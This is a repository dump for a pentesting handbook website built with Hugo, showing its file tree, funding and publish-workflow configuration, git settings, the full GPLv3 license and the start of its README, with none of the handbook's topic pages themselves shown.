├── .github ├── FUNDING.yml └── workflows │ └── publish.yml ├── .gitignore ├── .gitmodules ├── LICENSE ├── README.md ├── archetypes ├── default.md └── services.md ├── assets ├── _custom.scss └── _fonts.scss ├── config.toml ├── content ├── _index.md ├── brute-forcing.md ├── bug-hunting-methodology.md ├── discovery-and-scanning │ ├── _index.md │ ├── host-discovery.md │ └── port-scanning.md ├── exfiltration.md ├── exploits-search.md ├── further-reading.md ├── information-gathering │ ├── _index.md │ ├── assets-discovery.md │ └── subdomain-enumeration.md ├── notes │ ├── _index.md │ ├── how-to-open-jar-files.md │ ├── smb-protocol-negotiation-failed.md │ └── ssh-legacy-key-exchange.md ├── services │ ├── _index.md │ ├── dns.md │ ├── finger.md │ ├── ftp.md │ ├── http-https.md │ ├── imap.md │ ├── msrpc.md │ ├── netbios.md │ ├── nntp.md │ ├── pop.md │ ├── smb.md │ └── smtp.md ├── shells │ ├── _index.md │ ├── full-tty.md │ ├── restricted-shells.md │ └── reverse-shells.md ├── steganography.md └── web-applications │ ├── _index.md │ ├── cgi.md │ ├── command-injection.md │ ├── csrf.md │ └── file-inclusion-and-path-traversal.md ├── layouts ├── notes │ └── list.html ├── partials │ └── docs │ │ └── inject │ │ └── head.html └── shortcodes │ ├── highlight.html │ └── note.html └── static ├── favicon.ico ├── favicon.png └── images ├── apple-touch-icon.png ├── banner.png ├── csrf-cheatsheet.png ├── favicon-16x16.png ├── favicon-32x32.png ├── favicon-96x96.png ├── favicon.ico ├── logo.png └── msrpc.png /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: maxrodrigo 4 | patreon: # Replace with a single Patreon username 5 | open_collective: # Replace with a single Open Collective username 6 | ko_fi: # Replace with a single Ko-fi username 7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 9 | liberapay: # Replace with a single Liberapay username 10 | issuehunt: # Replace with a single IssueHunt username 11 | otechie: # Replace with a single Otechie username 12 | custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] 13 | -------------------------------------------------------------------------------- /.github/workflows/publish.yml: -------------------------------------------------------------------------------- 1 | name: Publish Book 2 | 3 | on: 4 | push: 5 | branches: 6 | - master 7 | 8 | jobs: 9 | build: 10 | runs-on: ubuntu-latest 11 | steps: 12 | - name: Checkout 13 | uses: actions/checkout@v2 14 | with: 15 | submodules: true 16 | 17 | - name: Genearte Index Page 18 | run: cat ./README.md >> ./content/_index.md 19 | 20 | - name: Setup Node 21 | uses: actions/setup-node@v1 22 | with: 23 | node-version: 10.x 24 | 25 | - name: Setup Hugo 26 | uses: peaceiris/actions-hugo@v2 27 | with: 28 | hugo-version: '0.84.3' 29 | extended: true 30 | 31 | - name: Build 32 | run: hugo --minify 33 | 34 | - name: Deploy 35 | uses: peaceiris/actions-gh-pages@v3 36 | with: 37 | emptyCommits: false 38 | github_token: ${{ secrets.GITHUB_TOKEN }} 39 | publish_branch: gh-pages 40 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Generated files by hugo 2 | /public/ 3 | /resources/_gen/ 4 | /assets/jsconfig.json 5 | hugo_stats.json 6 | 7 | # Executable may be added to repository 8 | hugo.exe 9 | hugo.darwin 10 | hugo.linux 11 | 12 | # Temporary lock file while building 13 | /.hugo_build.lock -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "themes/book"] 2 | path = themes/book 3 | url = https://github.com/maxrodrigo/hugo-book 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | 3 | 0xffsec 4 | 5 |

6 |

7 | 0xffsec Handbook 8 |
9 | The Pentester's Guide 10 |

11 |

12 | 0xffsec Website 13 | Publish Book 14 | License 15 |

